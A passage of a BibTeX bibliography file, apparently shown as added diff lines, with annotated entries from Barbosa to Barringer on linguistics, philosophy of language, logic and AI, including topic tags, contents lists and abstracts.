contentnote = {TC: + 1. Peter Ackema and Ad Neeleman, "WHOT?" + 2. Eric Bakovic, "Optimality and inversion in {S}panish" + 3. Joan Bresnan, "Morphology Competes with Syntax: + Explaining Typological Variation in Weak Crossover + Effects" + 4. Luigi Burzio, "Anaphora and Soft Constraints" + 5. Noam Chomsky, "Some Observations on Economy in Generative + Grammar" + 6. Danny Fox, "Locality in Variable Binding" + 7. Edward Gibson and Kevin Broihier, "Optimality Theory and + Human Sentence Processing" + 8. Jane Grimshaw and Vieri Samek-Lodovici, "Optimal Subjects + and Subject Universals" + 9. Yookyung Kim and Stanley Peters, "Semantic and Pragmatic + Context-Dependence: The Case of Reciprocals" + 10. G\'eraldine Legendre, Paul Smolensky, and Colin Wilson, + "When is Less More? Faithfulness and Minimal Links + in Wh-Chains" + 11. Masanori Nakamura, "Reference Set, Minimal Link Condition, + and Parameterization" + 12. Mark Newson, "On the Nature of Inputs and Outputs: + a Case Study of Negation" + 13. David Pesetsky, "Some Optimality Principles of + Sentence Pronunciation" + 14. Geoffrey Poole, "Constraints on Local Economy" + 15. Douglas Pulleyblank and William J. Turkel, "The Logical + Problem of Language Acquisition in Optimality + Theory" + 16. Bruce B. Tesar, "Error-Driven Learning in + Optimality Theory Via the Efficient Computation of + Optimal Forms" } , + ISBN = {0262024489}, + topic = {optimality-theory;nl-syntax;} + } + +@book{ barbosa_p-etal:1998a, + author = {Pilar Barbosa and Danny Fox and Paul Hagstrom and + Martha McGinnis and David Pesetsky}, + title = {Is the Best Good Enough? Optimality and Competition + in Syntax}, + publisher = {The {MIT} Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + topic = {nm-syntax;optimality-theory;} + } + +@book{ barbosa_v:1996a, + author = {Valmir Barbosa}, + title = {An Introduction to Distributed Algorithms}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {distributed-processing;} + } + +@incollection{ bard-etal:2002a, + author = {Ellen Gurman Bard and Matthew P. Aylett and Robin J. Lickley}, + title = {Towards a Psycholinguistics of Dialogue: Defining Reaction + Time and Error Rate in a Dialogue Corpus}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {29--36}, + address = {Edinburgh}, + topic = {psychology-of-discourse;} + } + +@book{ bareiss:1989a, + author = {Ray Bareiss}, + title = {Exemplar-Based Knowledge Acquisition: A Unified Approach + to Concept Representation, Classification, and Learning}, + publisher = {Academic Press}, + year = {1989}, + address = {San Diego, California}, + topic = {learning;kr;case-based-reasoning;} + } + +@article{ barelli:1997a, + author = {Gilead Bar-Elli}, + title = {Frege's Context Principle}, + journal = {Philosophia}, + year = {1997}, + volume = {25}, + number = {1--4}, + pages = {99--129}, + topic = {Frege;semantic-compositionality;reference;philosophy-of-language;} + } + +@article{ barendregt:1997a, + author = {Henk Barendregt}, + title = {The Impact of the Lambda Calculus in Logic and Computer + Science}, + journal = {The Bulletin of Symbolic Logic}, + year = {1997}, + volume = {3}, + number = {2}, + pages = {181--215}, + topic = {lambda-calculus;history-of-logic;} + } + +@book{ barense:1980a, + author = {Diane D. Barense}, + title = {Tense Structure and Reference: A First Order Non-Modal + Approach}, + publisher = {Indiana University Linguistics Club}, + year = {1980}, + address = {310 Lindley Hall, Indiana University, Bloomington, + Indiana 46405}, + topic = {nl-tense;} + } + +@book{ barfield_l:1993a, + author = {Lon Barfield}, + title = {The User Interface: Concepts and Design}, + publisher = {Addison-Wesley}, + year = {1993}, + address = {Reading, Massachusetts}, + ISBN = {0201544415}, + topic = {HCI;} + } + +@book{ barfield_w-furness:1995a, + editor = {Woodrow Barfield and Tomas A. {Furness, III}}, + title = {Virtual Environments and Advanced Interface Design}, + publisher = {Oxford University Press}, + year = {1995}, + address = {Oxford}, + ISBN = {0195075552}, + topic = {virtual-reality;HCI;} + } + +@inproceedings{ barg-walther:1998a, + author = {Petra Barg and Markus Walther}, + title = {Processing Unknown Words in {HPSG}}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {91--95}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {robust-parsing;HPSG;word-acquisition;} + } + +@article{ barhillel:1950a1, + author = {Yehoshua Bar-Hillel}, + title = {Bolzano's Definition of `Analytic Proposition'\, } , + journal = {Theoria}, + year = {1950}, + volume = {16}, + pages = {91--117}, + missinginfo = {number}, + xref = {Reprinted in barhillel:1970a. See barhillel:1950a2.}, + topic = {history-of-logic;Bolzano;analyticity;} + } + +@incollection{ barhillel:1950a2, + author = {Yehoshua Bar-Hillel}, + title = {Bolzano's Definition of `Analytic Proposition'\, } , + booktitle = {Aspects of Language: Essays in Philosophy of Language, + Linguistic Philosophy, and Methodology of Linguistics}, + publisher = {North-Holland Publishing Company}, + year = {1972}, + pages = {3--24}, + address = {Amsterdam}, + xref = {Reprinted in barhillel:1970a. See barhillel:1950a2.}, + topic = {history-of-logic;Bolzano;analyticity;} + } + +@article{ barhillel:1951a1, + author = {Yehoshua Bar-Hillel}, + title = {Comments on Logical Form}, + journal = {Philosophical Studies}, + year = {1951}, + volume = {2}, + pages = {72--75}, + missinginfo = {number}, + xref = {Reprinted in barhillel:1970a. See barhillel:1951a2.}, + topic = {logical-form;} + } + +@incollection{ barhillel:1951a2, + author = {Yehoshua Bar-Hillel}, + title = {Comments on Logical Form}, + booktitle = {Aspects of Language: Essays in Philosophy of Language, + Linguistic Philosophy, and Methodology of Linguistics}, + publisher = {North-Holland Publishing Company}, + year = {1972}, + pages = {25--28}, + address = {Amsterdam}, + xref = {Reprinted in barhillel:1970a. See barhillel:1951a2.}, + topic = {logical-form;} + } + +@article{ barhillel:1952a1, + author = {Yehoshua Bar-Hillel}, + title = {Bolzano's Propositional Logic}, + journal = {Archiv f\"ur Mathematische Logik und + Grundlagenforschung}, + year = {1952}, + volume = {1}, + pages = {65--98}, + missinginfo = {number}, + xref = {Reprinted in bar-hillel:1970a. See bar-hillel:1952a2.}, + topic = {history-of-logic;Bolzano;} + } + +@article{ barhillel:1952b1, + author = {Yehoshua Bar-Hillel}, + title = {Mr. {G}each on Rigour in Semantics}, + journal = {Mind}, + year = {1952}, + volume = {61}, + pages = {261--264}, + missinginfo = {number}, + xref = {Reprinted in bar-hillel:1970a. See bar-hillel:1952a2.}, + topic = {carnap;foundations-of-semantics;} + } + +@article{ barhillel:1954a1, + author = {Yehoshua Bar-Hillel}, + title = {Indexical Expressions}, + journal = {Mind}, + year = {1954}, + volume = {63}, + pages = {359--379}, + missinginfo = {number}, + xref = {Reprinted in barhillel:1970a. See barhillel:1954a2.}, + topic = {indexicals;pragmatics;} + } + +@incollection{ barhillel:1954a2, + author = {Yehoshua Bar-Hillel}, + title = {Indexical Expressions}, + booktitle = {Aspects of Language: Essays in Philosophy of Language, + Linguistic Philosophy, and Methodology of Linguistics}, + publisher = {North-Holland Publishing Company}, + year = {1972}, + pages = {69--88}, + address = {Amsterdam}, + xref = {Reprinted in barhillel:1970a. See barhillel:1954a1.}, + topic = {indexicals;pragmatics;} + } + +@book{ barhillel:1961a, + editor = {Yehoshua Bar-Hillel}, + title = {Essays on the Foundations of Mathematics. Dedicated to + {A}.{A}.{F}raenkel on His Seventieth Anniversary}, + publisher = {Magnes Press}, + year = {1961}, + address = {Jerusalem}, + topic = {foundations-of-mathematics;set-theory;} + } + +@article{ barhillel-etal:1961a, + author = {Yehoshua Bar-Hillel and M. Perles and E. Shamir}, + title = {On Formal Properties of Simple Phrase Structure Grammars}, + journal = {Zeitschrift f\"ur Phonologie, Sprachwissenschaft und + Kommunikationsforschung}, + year = {1961}, + volume = {14}, + pages = {113--124}, + missinginfo = {A's 1st name, number}, + topic = {formal-language-theory;} + } + +@article{ barhillel:1963a1, + author = {Yehoshua Bar-Hillel}, + title = {Can Indexical Sentences Stand in Logical Relations?}, + journal = {Philosophical Studies}, + year = {1963}, + volume = {14}, + pages = {87--90}, + missinginfo = {number}, + xref = {Reprinted in bar-hillel:1970a. See bar-hillel:1963a2.}, + topic = {indexicals;pragmatics;} + } + +@incollection{ barhillel:1963b1, + author = {Yehoshua Bar-Hillel}, + title = {Remarks on {C}arnap's {\it Logical Syntax of Language}}, + booktitle = {The Philosophy of Rudolph Carnap}, + publisher = {Open Court Publishing Company}, + year = {1963}, + editor = {Paul Schilpp}, + pages = {519--543}, + address = {LaSalle, Ilinois}, + xref = {Reprinted in bar-hillel:1970a. See bar-hillel:19a2.}, + topic = {carnap;} + } + +@incollection{ barhillel:1969a, + author = {Yehoshua Bar-Hillel}, + title = {Universal Semantics and the Philosophy of Language: + Quandaries and Prospects}, + booktitle = {Substance and Structure of Language}, + publisher = {University of California Press}, + year = {1969}, + editor = {Jaan Puhvel}, + pages = {1--21}, + address = {Berkeley and Los Angeles, California}, + xref = {Republished, cf. barhillel:1970a.}, + topic = {foundations-of-semantics;} + } + +@book{ barhillel:1970a, + author = {Yehoshua Bar-Hillel}, + title = {Aspects of Language: Essays in Philosophy of Language, + Linguistic Philosophy, and Methodology of Linguistics}, + publisher = {North-Holland Publishing Company}, + year = {1972}, + address = {Amsterdam}, + topic = {philosophy-of-language;nl-semantics;pragmatics;} + } + +@book{ barhillel:1971a, + author = {Yehoshua Bar-Hillel}, + title = {Pragmatics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1971}, + address = {Dordrecht}, + tableofcontents = {Get this.}, + topic = {philosophy-of-language;pragmatics;} + } + +@article{ barhillel:1971b, + author = {Yehoshua Bar-Hillel}, + title = {Out of the Pragmatic Wastebasket}, + journal = {Linguistic Inquiry}, + year = {1971}, + volume = {2}, + pages = {401--407}, + missinginfo = {number}, + topic = {pragmatics;philosophy-of-language;} + } + +@book{ barhillel:1972a, + editor = {Yehoshua Bar-Hillel}, + title = {Pragmatics of Natural Languages}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + address = {Dordrecht}, + ISBN = {0521207207}, + topic = {pragmatics;philosophy-of-language;} + } + +@article{ barker_c-pullum:1990a, + author = {Chris Barker and Geoffrey K. Pullum}, + title = {A Theory of Command Relations}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {1}, + pages = {1--34}, + topic = {syntactic-command;foundations-of-syntax;} + } + +@inproceedings{ barker_c:1993a, + author = {Chris Barker}, + title = {A Presuppositional Account of Proportional Ambiguity}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {III}}, + year = {1993}, + editor = {Utpal Lahiri and Zachary Wyner}, + pages = {1--18}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-quantifier-scope;adverbs;conventional-implicature;pragmatics;} + } + +@inproceedings{ barker_c-dowty:1993a, + author = {Chris Barker and David Dowty}, + title = {Non-Verbal Thematic Proto-Roles}, + booktitle = {Proceedings of the Twenty-Third Meeting of the New + England Linguistic Society}, + year = {1993}, + missinginfo = {A's 1st name, editor, pages, organization, publisher, + address}, + topic = {thematic-roles;} + } + +@inproceedings{ barker_c:1995a, + author = {Chris Barker}, + title = {Episodic {\it -ee} in {E}nglish: Thematic Relations and + New Word Formation}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {1--18}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + contentnote = {Uses "-ee" suffix to study thematic relations.}, + topic = {thematic-roles;} + } + +@article{ barker_c:1996a, + author = {Chris Barker}, + title = {Presuppositions for Proportional Quantifiers}, + journal = {Natural Language Semantics}, + year = {1996}, + volume = {4}, + number = {3}, + pages = {237--259}, + topic = {presupposition;pragmatics;donkey-anaphora;nl-quantifiers;} + } + +@article{ barker_c:1999a, + author = {Chris Barker}, + title = {Individuation and Quantification}, + journal = {Linguistic Inquiry}, + year = {1999}, + volume = {30}, + number = {4}, + pages = {683--691}, + topic = {events;individuation;} + } + +@unpublished{ barker_c-dowty:1999a, + author = {Chris Barker and David Dowty}, + title = {Nominal Thematic Proto-Roles}, + year = {1999}, + note = {Unpublished manuscript.}, + missinginfo = {Year is a guess.}, + topic = {thematic-roles;} + } + +@article{ barker_c:2000a, + author = {Chris Barker}, + title = {Definite Possessives and Discouse Novelty}, + journal = {Theoretical Linguistics}, + year = {2000}, + volume = {26}, + number = {3}, + pages = {211--227}, + topic = {definiteness;possessives;old/new-information;} + } + +@article{ barker_c:2002a, + author = {Chris Barker}, + title = {The Dynamics of Vagueness}, + journal = {Linguistics and Philosophy}, + year = {2002}, + volume = {25}, + number = {1}, + pages = {1--36}, + topic = {vagueness;context;} + } + +@techreport{ barker_ja:1973a, + author = {John A. Barker}, + title = {A Formal Analysis of Conditionals}, + institution = {Southern Illinois University}, + number = {Humanities Series / Number 3}, + year = {1973}, + address = {Carbondale, Illinois}, + topic = {conditionals;} + } + +@article{ barker_ja:1973b, + author = {John A. Barker}, + title = {Hypotheticals, Conditionals and Theticals}, + journal = {The Philosophical Quarterly}, + year = {1973}, + volume = {23}, + number = {93}, + pages = {335--345}, + topic = {conditionals;} + } + +@inproceedings{ barker_k-szpakowicz:1998a, + author = {Ken Barker and Stan Szpakowicz}, + title = {Semi-Automatic Recognition of Noun Modifier + Relationships}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {96--102}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {compound-nouns;machine-language-learning; + computational-semantics;} + } + +@article{ barker_s:1991a, + author = {Stephen Barker}, + title = {`{E}ven', `Still' and Counterfactuals}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {1}, + pages = {1--38}, + topic = {`even';sentence-focus;pragmatics;} + } + +@article{ barker_sf-achenstein:1960a, + author = {S.F. Barker and Peter Achenstein}, + title = {On the New Riddle of Induction}, + journal = {The Philosophical Review}, + year = {1960}, + volume = {69}, + number = {4}, + pages = {511--522}, + topic = {induction;(un)natural-predicates;} + } + +@article{ barker_sj:1997a, + author = {S.J. Barker}, + title = {E-Type Pronouns, {DRT}, Dynamic Semantics and the + Quantifier-Variable Binding Model}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {2}, + pages = {195--228}, + topic = {anaphora;pronouns;discourse-representation-theory;} + } + +@incollection{ barklund-etal:1994a, + author = {Jonas Barklund and Katrin Boberg and Pierangelo Dell'Acqua}, + title = {A Basis for a Multi-Level Meta-Logic Programming Language}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {262--275}, + address = {Berlin}, + topic = {metaprogramming;} + } + +@book{ barlow-etal:1982a, + editor = {Michael Barlow and Daniel P. FLickinger and Ivan A. Sag}, + title = {Developments in Generalized Phrase Structure Grammar}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + ISBN = {1575862190}, + topic = {GPSG;} + } + +@book{ barlow-ferguson:1988a, + editor = {Michael Barlow and Charles A. Ferguson}, + title = {Agreement in Natural Language: Approaches, Theories, + Descriptions}, + publisher = {Center for the Study of Language and Information}, + year = {1988}, + address = {Stanford, California}, + ISBN = {0937073024}, + topic = {agreement;} + } + +@book{ barlow-kemmer:2000a, + editor = {Michael Barlow and Suzanne Kemmer}, + title = {Usage-Based Models of Language}, + publisher = {CSLI Publications}, + year = {2000}, + address = {Stanford, California}, + ISBN = {1575862190}, + contentnote = {TC: + 1. Suzanne Kemmer and Michael Barlow, "A usage-based conception + of language" + 2. Ronald W. Langacker, "A dynamic usage-based model" + 3. Joan L. Bybee, "The phonology of the lexicon" + 4. Sydney Lamb , "Bidirectional processing in language and + related cognitive systems" + 5. Brian MacWhinney, "Connectionism and language learning" + 6. Connie Dickinson and T. Giv\'on, "The effect of the + interlocutor on episodic recall, an experimental + study " + 7. Mira Ariel, "The development of person agreement markers, + from pronoun to higher accessibility markers " + 8. Arie Verhagen, "Interpreting usage, construing the history of + Dutch casual verbs" + 9. Douglas Biber , "Investigating language use through + corpus-based analyses of association patterns" + 10. Michael Barlow, "Usage, blends and grammar" + } , + topic = {sociolinguistics;corpus-linguistics;} + } + +@article{ barnard:1983a, + author = {Stephen T. Barnard}, + title = {Interpreting Perspective Images}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {21}, + number = {4}, + pages = {435--462}, + acontentnote = {Abstract: + A fundamental problem in computer vision is how to determine the + 3-D spatial orientation of curves and surfaces appearing in an + image. The problem is generally underconstrained, and is + complicated by the fact that metric properties, such as + orientation and length, are not invariant under projection. + Under perspective projection (the correct model for most real + images) the transform is nonlinear, and therefore hard to + invert. Two constructive methods are presented. The first finds + the orientation of parallel lines and planes by locating + vanishing points and vanishing lines. The second determines the + orientation of planes by `backprojection' of two intrinsic + properties of contours: angle magnitude and curvature.}, + topic = {computer-vision;three-D-reconstruction; + reasoning-about-perspective;} + } + +@book{ barnbrook:1996a, + author = {Geoff Barnbrook}, + title = {Language and Computers: A Practical Introduction to the + Computer Analysis of Language}, + publisher = {Edinburgh University Press}, + year = {1996}, + address = {Edinburgh}, + ISBN = {0-7486-0785-4}, + xref = {Review: kirk:1998a}, + topic = {corpus-linguistics;} + } + +@article{ barnden:1986a, + author = {John A. Barnden}, + title = {Imputations and Explications: Representational Problems in + Treatments of Propositional Attitudes}, + journal = {Cognitive Science}, + year = {1986}, + volume = {10}, + number = {3}, + pages = {319--364}, + topic = {propositional-attitudes;} + } + +@incollection{ barnden:1989a, + author = {John A. Barnden}, + title = {Belief, Metaphorically Speaking}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {21--32}, + address = {San Mateo, California}, + topic = {propositional-attitudes;belief;context;} + } + +@book{ barnden-pollack_jb:1991a, + editor = {John A. Barnden and Jordan B. Pollack}, + title = {Advances in Connectionist and Neural + Computation Theory, Volume 1: High-Level Connectionist + Models}, + publisher = {Ablex Publishing Corp.}, + year = {1991}, + address = {Norwood< New Jersey}, + ISBN = {0893916870}, + xref = {Review: rose:1993a.}, + topic = {connectionism;connectionist-models;} + } + +@incollection{ barnden-etal:1994a, + author = {John A. Barnden and Stephen Helmreich and Eric Iverson + and Gees C. Stein}, + title = {An Integrated Implementation of Simulative, Uncertain, + and Metaphorical Reasoning about Mental States}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {27--38}, + address = {San Francisco, California}, + topic = {kr;reasoning-about-mental-states;metaphor;kr-course;} + } + +@incollection{ barnden:1995a, + author = {John A. Barnden}, + title = {Simulative Reasoning, Common-Sense + Psychology, and Artificial Intelligence}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {247--273}, + address = {Oxford}, + topic = {folk-psychology;theory-theory-of-folk-psychology; + mental-simulation;propositional-attitude-ascription;} + } + +@incollection{ barnden-lee_mg:1999a, + author = {John A. Barnden and Mark G. Lee}, + title = {An Implemented Context + System that Combines Belief Reasoning, Metaphor-Based + Reasoning and Uncertainty Handling}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {28--41}, + address = {Berlin}, + topic = {context;metaphor;reasoning-about-attitudes; + mental-simulation;} + } + +@incollection{ barnden:2001a, + author = {John A. Barnden}, + title = {Uncertainty and Conflict Handling in the + {ATT}-Meta Context-Based System for Metaphorical + Reasoning}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {15--29}, + address = {Berlin}, + topic = {context;metaphor;nl-interpretation;reasoning-about-attitudes; + mental-simulation;} + } + +@book{ barnes_a:1997a, + editor = {Annette Barnes}, + title = {Seeing through Self-Deception}, + publisher = {Cambridge University Press}, + year = {1997}, + address = {Cambridge, England}, + topic = {self-deception;} + } + +@article{ barnes_g:1971a, + author = {Gerald Barnes}, + title = {Utilitarianisms}, + journal = {Ethics}, + volume = {82}, + year = {1971}, + pages = {56--64}, + topic = {utilitarianism;} + } + +@book{ barnes_j-etal:1975a, + editor = {Jonathan Barnes and Malcolm Schofield and Richard Sorabji}, + title = {Articles on Aristotle, Volume 1 (Science)}, + publisher = {Duckworth}, + year = {1975}, + address = {London}, + ISBN = {0715607626}, + topic = {Aristotle;ancient-physics;ancient-science;} + } + +@book{ barnes_j-etal:1977b, + editor = {Jonathan Barnes and Malcolm Schofield and Richard Sorabji}, + title = {Articles on Aristotle: Volume 2 (Ethics and Politics)}, + publisher = {Duckworth}, + year = {1977}, + address = {London}, + topic = {Aristotle;ethics;} + } + +@book{ barnes_j-etal:1979a, + editor = {Jonathan Barnes and Malcolm Schofield and Richard Sorabji}, + title = {Articles on Aristotle: Volume 3 (Metaphysics)}, + publisher = {Duckworth}, + year = {1979}, + address = {London}, + topic = {Aristotle;metaphysics;} + } + +@book{ barnes_j-etal:1979b, + editor = {Jonathan Barnes and Malcolm Schofield and Richard Sorabji}, + title = {Articles on Aristotle: Volume 4 (Psychology and Aesthetics)}, + publisher = {Duckworth}, + year = {1979}, + address = {London}, + topic = {Aristotle;} + } + +@article{ barnes_rf:1981a, + author = {Robert F. Barnes}, + title = {Interval Temporal Logic: A Note}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {4}, + pages = {395--397}, + topic = {temporal-logic;interval-logic;} + } + +@incollection{ barnett_d:2000a, + author = {David Barnett}, + title = {Vagueness-Related Attitudes}, + booktitle = {Skepticism}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {Ernest Sosa and Enrique Villanueva}, + pages = {302--320}, + address = {Oxford}, + topic = {vagueness;sorites-paradox;} + } + +@article{ barnett_ja:1984a, + author = {Jeffrey A. Barnett}, + title = {How Much Is Control Knowledge Worth? A Primitive Example}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {22}, + number = {1}, + pages = {77--89}, + topic = {procedural-control;} + } + +@book{ baron_de:1982a, + author = {Dennis E. Baron}, + title = {Grammar and Good Taste: Reforming the {A}merican + Language}, + publisher = {Yale University Press}, + year = {1982}, + address = {New Haven}, + topic = {language-reform;prescriptive-linguistics;} + } + +@book{ baron_j:1993a, + editor = {Jonathan Baron}, + title = {Morality and Rational Choice}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + number = {18}, + series = {Theory and Decision Library}, + address = {Dordrecht}, + contentnote = {Chapters: + 1. Introduction + 2. Morality and decision-making + 3. The nature of goals + 4. Expected utility theory + 5. Decisions for others + 6. Self-other conflict + 7. Acts and omissions + 8. Utilitarian education + 9. Decision analysis and public policy + 10. Equity in social policy and liability + 11. The risk analysis debate + 12. Social decisions + }, + topic = {practical-reasoning;rationality;goals; + foundations-of-utility;policy-making;} + } + +@book{ baron_s-etal:1990a, + editor = {Sheldon Baron and Dana S. Kruser and Beverly Messick Huey}, + title = {Quantitative Modeling of Human Performance in Complex, + Dynamic Systems}, + publisher = {National Academy Press}, + year = {1990}, + address = {Washington, D.C.}, + ISBN = {030904135X}, + topic = {HCI;} + } + +@article{ baroni-etal:1999a, + author = {P. Baroni and G. Lamperti and P. Pogliano and M. Zanella}, + title = {Diagnosis of Large Active Systems}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {110}, + number = {1}, + pages = {135--183}, + acontentnote = {Abstract: + This paper presents a modular technique, amenable to parallel + implementation, for the diagnosis of large-scale, distributed, + asynchronous event-driven (namely, active) systems. An active + system is an abstraction of a physical system that can be + modeled as a network of communicating automata. Due to the + distributed nature of the class of systems considered, and + unlike other approaches based on synchronous composition of + automata, exchanged events are buffered within communication + links and dealt with asynchronously. The main goal of the + diagnostic technique is the reconstruction of the behavior of + the active system starting from a set of observable events. The + diagnostic process involves three steps: interpretation, + merging, and diagnosis generation. Interpretation generates a + representation of the behavior of a part of the active system + based on observable events. Merging combines the result of + several interpretations into a new, broader interpretation. The + eventual diagnostic information is generated on the basis of + fault events possibly incorporated within the reconstructed + behavior. In contrast with other approaches, the proposed + technique does not require the generation of the, possibly huge, + model of the entire system, typically, in order to yield a + global diagnoser, but rather, it allows a modular and parallel + exploitation of the reconstruction process. This property, to a + large extent, makes effective the diagnosis of real active + systems, for which the reconstruction of the global behavior is + often unnecessary, if not impossible. } , + missinginfo = {A's 1st names.}, + topic = {diagnosis;model-based-reasoning; + reasoning-about-distributed-systems;} + } + +@article{ baroni-etal:2000a, + author = {P. Baroni and M. Giacomin and G. Guida}, + title = {Extending Abstract Argumentation Systems Theory}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {120}, + number = {2}, + pages = {251--270}, + acontentnote = {Abstract: + In this paper, we extend the theory of abstract argumentation + systems proposed by Vreeswijk (1997). This framework stands at a + high abstraction level and provides a general model for + argumentation activity. However, the theory reveals an inherent + limitation in that the premises of the argumentation process are + assumed to be indefeasible, and this introduces the need of an + implicit constraint on the strength of the arguments, in order + to preserve correctness. In many application contexts the + information available to start reasoning is not guaranteed to be + completely reliable, therefore it is natural to assume that + premises can be discarded during the argumentation process. We + extend the theory by admitting that premises can be defeated and + relaxing the implicit assumption about their strength. + Besides fixing the technical problems related to this hidden + assumption (e.g., ensuring that warranted arguments are + compatible), our proposal provides an integrated model for + belief revision and defeasible reasoning, confirming the + suitability of argumentation as a general model for the activity + of intelligent reasoning in presence of various kinds of + uncertainty. + } , + topic = {argument-based-defeasible-reasoning; + belief-revision;nonmonotonic-reasoning;} + } + +@incollection{ barr-davidson_j:1981a, + author = {Avron Barr and James E. Davidson}, + title = {Representation of Knowledge}, + booktitle = {The Handbook of {AI}, Vol. 1}, + publisher = {Heuris{T}ech Press}, + year = {1981}, + editor = {Avron Barr and Edward A. Feigenbaum}, + pages = {141--222}, + address = {Stanford, California}, + note = {Co-authors: Robert Filman, Douglas Appelt, Anne Gardiner, + and James Bennett.}, + topic = {kr-survey;} + } + +@book{ barr-feigenbaum:1981a, + editor = {Avron Barr and Edward A. Feigenbaum}, + title = {The Handbook of {AI}, Vol. 1}, + publisher = {Heuris{T}ech Press}, + year = {1981}, + address = {Stanford, California}, + topic = {AI-survey;} + } + +@article{ barrett-stenner:1971a, + author = {Robert H. Barrett and Alfred J Stenner}, + title = {The Myth of the Exclusive `Or'\,}, + journal = {Mind}, + year = {1971}, + volume = {80}, + number = {317}, + pages = {116--121}, + topic = {disjunction;} + } + +@book{ barrett:1999a, + author = {Jeffrey Alan Barrett}, + title = {The Quantum Mechanics of Minds and Worlds}, + publisher = {Oxford University Press}, + year = {1999}, + address = {Oxford}, + xref = {Review: becker_l:2001a.}, + topic = {foundations-of-quantum-mechanics;branching-time;} + } + +@techreport{ barrett_a-etal:1994a, + author = {Anthony Barrett and Keith Golden and Scott Pemberthy and + Daniel Weld}, + title = {{\sc ucpop} User's Manual}, + institution = {Department of Computer Science and Engineering, + University of Washington}, + number = {93--09--06}, + year = {1991}, + address = {Seattle, WA 98105}, + topic = {planning-systems;} + } + +@article{ barrett_a-weld:1994a, + author = {Anthony Barrett and Daniel S. Weld}, + title = {Partial-Order Planning: Evaluating Possible Efficiency + Gains}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {67}, + number = {1}, + pages = {71--112}, + topic = {partial-order-planning;} + } + +@book{ barrett_e:1988a, + editor = {Edward Barrett}, + title = {Text, Con{T}ext, and Hyper{T}ext: Writing with and for + the Computer}, + publisher = {The {MIT} Press}, + year = {1988}, + address = {Cambridge, Massachusetts}, + topic = {document-design;internet-technology;} + } + +@book{ barrett_ja-alexander_jm:2000a, + editor = {Jeffrey A. Barrett and J. McKenzie Alexander}, + title = {Philosophy of Science: Proceedings of the + 2000 Biennial Meeting of the + Philosophy of Science Association, Part 1: Contributed + Papers}, + publisher = {University of Chicago Press}, + year = {2000}, + address = {Chicago, Illinois}, + topic = {philosophy-of-science;} + } + +@inproceedings{ barriere:1998a, + author = {Caroline Barri\'ere}, + title = {Redundancy: Helping Semantic Disambiguation}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {103--109}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {disambiguation;} + } + +@incollection{ barringer-etal:1991a, + author = {Howard Barringer and Michael Fisher and Dov Gabbay and + Anthony Hunter}, + title = {Meta-Reasoning in Executable Temporal Logic}, + booktitle = 